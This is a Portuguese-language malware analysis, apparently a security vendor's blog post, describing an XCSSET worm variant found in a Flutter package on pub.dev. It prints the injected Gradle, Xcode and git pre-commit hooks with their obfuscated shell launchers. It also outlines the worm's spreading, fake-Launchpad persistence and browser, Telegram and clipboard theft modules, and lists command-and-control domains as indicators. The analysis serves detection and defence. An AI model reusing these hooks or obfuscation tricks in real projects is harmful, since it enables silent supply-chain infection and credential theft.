Aikido

Um pacote Flutter comprometido no pub.dev contém o malware XCSSET

Escrito por
Ilyas Makari

Hoje, o pub.dev junta-se à lista de registos de pacotes nos quais encontrámos malware. Detetámos uma variante do XCSSET escondida no interior de visualizador_universal_de_ficheiros (versão 0.1.5), um pacote de pré-visualização de ficheiros do Flutter disponível no pub.dev com cerca de 500 downloads. Este é o primeiro pacote comprometido que detetámos no pub.dev, o repositório oficial de pacotes para o Dart e o Flutter. Ao contrário do npm recente ataques à Supply chain como talvez já saiba, não se tratou de um caso em que alguém tenha visado deliberadamente esta encomenda.

O XCSSET é um worm do macOS que insere repetidamente um hook de compilação malicioso em todos os projetos Gradle para Android, projetos Xcode e repositórios Git que consiga encontrar numa máquina comprometida. A máquina do responsável pela manutenção foi infetada e, quando este publicou uma nova versão do pacote a partir dessa máquina, os ficheiros infetados foram incluídos na publicação. O pacote do pub.dev remonta a um repositório GitHub comprometido.

Uma pesquisa rápida no GitHub mostra que isto continua a acontecer hoje em dia, com outros mantenedores a publicar ativamente projetos infetados sem se aperceberem disso:

Para um contexto mais alargado sobre o XCSSET, consulte o relatório da Unit 42 intitulado «The Xcode Assassin Returns» e as publicações da Microsoft de março e setembro de 2025.

O que encontrámos na embalagem

visualizador_universal_de_ficheiros é um pacote do pub.dev que fornece widgets de pré-visualização de ficheiros incorporados para aplicações Flutter: PDF, Word, Excel, vídeo, Markdown e texto simples. O código da sua biblioteca Dart encontra-se em lib/ está totalmente limpo. Os ficheiros infetados encontram-se todos dentro da exemplo/ diretoria, que é distribuída no tarball do pub.dev, mas nunca é compilada quando o pacote é utilizado como dependência. Simplesmente adicionar visualizador_universal_de_ficheiros ao seu pubspec.yaml e compilar a sua própria aplicação não despoleta nada. O risco aplica-se a quem clona o repositório e compila explicitamente a aplicação de exemplo localmente. Não se trata de um ataque direcionado ao pacote ou aos respetivos dependentes. O worm simplesmente anexou-se a quaisquer ficheiros de compilação encontrados na máquina infetada do mantenedor, e a maioria dos consumidores do pacote nunca será afetada.

Foram infetadas três configurações de compilação distintas, cada uma injetada de forma independente pelos módulos worm do XCSSET:

example/android/app/build.gradle.kts contém um preBuild hook injetado pelo android_finder módulo:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

printf xAxd | tr -d A reconstrói xxd em runtime para contornar os scanners baseados em strings. O blob hexadecimal descodifica para um comando curl para 5yotmxcc54l9xda[.]ru/a com a tag de campanha p=android_kotlin. Isto é executado silenciosamente em cada compilação do Gradle, com o output descartado.

example/ios/Runner.xcodeproj/project.pbxproj e example/macos/Runner.xcodeproj/project.pbxproj ambos contêm uma PBXBuildRule entrada que é acionada sempre que .md o ficheiro é processado durante uma compilação:

script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";

A3EA261 é uma definição de compilação definida no mesmo ficheiro. Para iOS, está ofuscada em base64 (printf bdase64 | tr -d d), apontando para qdgs232i-q[.]ru com a tag p=xcode_rule. Para macOS, está ofuscada em hexadecimal (printf xxVd | tr -d V), apontando para ejntin6hkjt7gj2[.]ru com a mesma tag. Ambas são acionadas na compilação do projeto.

A cadeia de infeção

O XCSSET é composto por vários estágios e módulos, cada um com uma função específica.

Estágios

  • Estágio 1: o hook de compilação contacta o C2 e recebe um script que volta a fazer o pedido com o SO e o nome de utilizador
  • Estágio 2: o servidor devolve um script de shell encriptado que recolhe o número de série do hardware e a localização, descarrega o carregador principal para /tmp/h, compila um pacote de aplicações invisível à volta do mesmo, inicia-o e, em seguida, elimina ambos no espaço de dez segundos
  • Estágio 3: o carregador é um AppleScript compilado apenas para execução que se decripta a si próprio utilizando AES-256-CBC com uma chave baseada no dia, executando depois o payload decriptado em memória
  • Estágio 4: o payload decriptado é o orquestrador principal que gere todos os módulos

Módulos de propagação

  • android_finder: injeta um preBuild hook malicioso em todos os projetos Android Gradle na máquina. Qualquer programador que compile um desses projetos também fica infetado
  • git_finder: escreve um gancho malicioso pre-commit em cada repositório git na máquina. É acionado em cada commit
  • replicator_finder: injeta uma fase de compilação maliciosa em cada projeto Xcode na máquina. Qualquer programador que compile um projeto fica infetado

Persistência

  • persist: substitui o mosaico do Launchpad na Dock por um pacote falso que volta a acionar a cadeia sempre que o utilizador clica no mesmo. Sobrevive a reinicializações e não deixa rasto nos locais de persistência padrão

Módulos de roubo

  • browser_remote: remove a entrada do porta-chaves do Safe Storage do Chrome para intercetar a respetiva chave de encriptação gerada novamente e, em seguida, exfiltra palavras-passe, cookies e tokens de sessão guardados
  • safari_remote: descarrega um pacote do Safari falso e exfiltra os dados locais do Safari
  • firefox_data: descarrega um binário nativo e exfiltra as credenciais do Firefox
  • tdesktop: encerra o Telegram, substitui-o por uma cópia com um cavalo de Troia e visa os dados de sessão
  • notes_app: aguarda que a aplicação Notas, Lembretes ou Calendário seja aberta e, em seguida, exfiltra os respetivos dados
  • clipboard: lê e exfiltra o conteúdo da área de transferência
  • settings_app: imita as Definições do Sistema e utiliza sudo para escalbereitung de privilégios
  • data_folders_finder: percorre o diretório principal e exfiltra ficheiros das pastas alvo

Todos os módulos de roubo são obtidos a partir do C2 e executados na memória através de osascript. Nada é gravado no disco. Os dados roubados são encriptados com AES-256-CBC antes de serem enviados para /u.

Como se propaga

Antes de executar qualquer módulo de roubo, o carregador envia três módulos de worm.

android_finder

android_finder pesquisa no diretório principal por ficheiros de compilação do Android:

nice -n 15 find ~ -maxdepth 6 \
  \( -type d \( -name Movies -o -name Library ... \) -prune \) \
  -o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -print

Para cada correspondência, confirma se é um módulo Android real antes de injetar e limpa primeiro qualquer infeção anterior. Suporta ficheiros de compilação Kotlin DSL e Groovy. Qualquer programador que depois compile um desses projetos fica infetado, tal como qualquer pessoa que clone o repositório e o compile a seguir.

git_finder

git_finder encontra todos os .git diretórios na máquina e escreve um gancho (hook) malicioso pre-commit em cada um. A carga útil (payload) do gancho é polimórfica: o domínio C2, o esquema de codificação e a profundidade de aninhamento são todos aleatórios por infeção. O resultado é o seguinte:

#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)

Cada commit feito pelo programador, em qualquer um dos seus repositórios, aciona novamente a cadeia completa de forma silenciosa. Se já existir um gancho, o módulo remove as linhas injetadas anteriormente através de sed antes de adicionar o novo conteúdo.

replicator_finder

replicator_finder é o vetor clássico do XCSSET. Analisa os ficheiros project.pbxproj , verifica se existe archiveVersion = e secção PBXShellScriptBuildPhase, e injeta uma fase de compilação Run Script. Qualquer programador que abra e compile um projeto Xcode infetado é atingido. Isto tem sido documentado desde 2020 e continua a fazer parte do conjunto de ferramentas, juntamente com os outros dois vetores.

Persistência oculta na Dock

O persist o módulo responde à questão de saber se isto sobrevive a um reinício. Sobrevive, e de uma forma que evade as verificações de persistência padrão.

Transfere dockutil a partir do C2 (/d/dockutil_arm64 ou /d/dockutil_amd64), assina-o ad-hoc e cria um pacote de aplicação falso em ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. O Info.plist do pacote é corrigido para se mascarar como o Launchpad:

plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plist

De seguida, utiliza dockutil para substituir o ícone real do Launchpad na Dock pelo pacote falso. Ao clicar no Launchpad, é aberto o Launchpad verdadeiro (open -b com.apple.launchpad.launcher) e o script malicioso é executado em simultâneo. A cada reinício, é executado na primeira vez que o utilizador clica no Launchpad.

Módulos de roubo

Com a propagação e a persistência asseguradas, o carregador envia os módulos de roubo. Cada um é obtido a partir de /s/<module> e executado através de osascript -e "$(curl ...)". Nada é gravado no disco.

browser_remote transfere um binário nativo (cd_arm64 ou cd_amd64) a partir do C2, remove o GoogleUpdater e SoftwareUpdate entradas, e executa security delete-generic-password para remover a entrada do porta-chaves do Safe Storage do Chrome. Remover esta entrada força o Chrome a regenerar a sua chave de encriptação, que o binário interceta para desencriptar palavras-passe, cookies e tokens de sessão guardados.

safari_remote coloca um falso pacote (bundle) do Safari em ~/Library/ASafari/ e ~/Library/Caches/com[.]beta[.]Safari e exfiltra os dados locais do Safari.

firefox_data downloads hbdm_arm64 ou hbdm_amd64 e invoca-o com -c password --zip, produzindo um firefox_browser_data.zip carregado para /u.

tdesktop executa killall -9 Telegram, transfere um reempaquetado Telegram.app a partir do C2 e substitui o original com assinatura ad-hoc. O alvo são os dados de sessão do Telegram tanto a partir do caminho clássico (~/Library/Application Support/Telegram Desktop/tdata) como do caminho do container em sandbox.

notes_app aguarda que o Notes, Reminders ou Calendar estejam em execução, instala-se dentro do respetivo pacote (bundle) da aplicação e exfiltra notes_app_data.zip.

clipboard executa um ciclo pbpaste e exfiltra o conteúdo da área de transferência.

settings_app cria um pacote de Definições do Sistema falso listado em "Preferências do Sistema" e "Preferências" no Spotlight, descarrega um binário separado mac_bin_daemon_app do C2 e executa comandos através de sudo -u para a escalação de privilégios.

data_folders_finder percorre o diretório home e exfiltra ficheiros de pastas alvo para /u.

Todos os dados roubados vão para /u via POST multipart, encriptados com uma chave AES-256-CBC.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Indicadores de comprometimento

Domínios C2

  • 5yotmxcc54l9xda[.]ru
  • qdgs232i-q[.]ru
  • ejntin6hkjt7gj2[.]ru

Artefactos de ficheiros

  • project.pbxproj contendo um PBXBuildRule com sh -c "${A3EA261}"
  • build.gradle ou build.gradle.kts contendo uma invocação de shell obfuscada utilizando printf xAxd | tr -d A para reconstruir xxd
  • .git/hooks/pre-commit contendo base64 --decode | base64 --decode ou xxd -p -r | xxd -p -r
Compartilhar:

https://www.aikido.dev/blog/compromised-flutter-package-on-pub-dev-contains-xcsset-malware

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Torne-se seguro hoje,
de forma rápida e gratuita.

Proteja o seu código, a cloud e o runtime num sistema central.
Conecte um repositório para descobrir o que os agentes de raciocínio encontram na sua base de código.

Não é necessário cartão de crédito | Resultados do teste em 32 segundos.
Confiado por mais de 150 mil orgs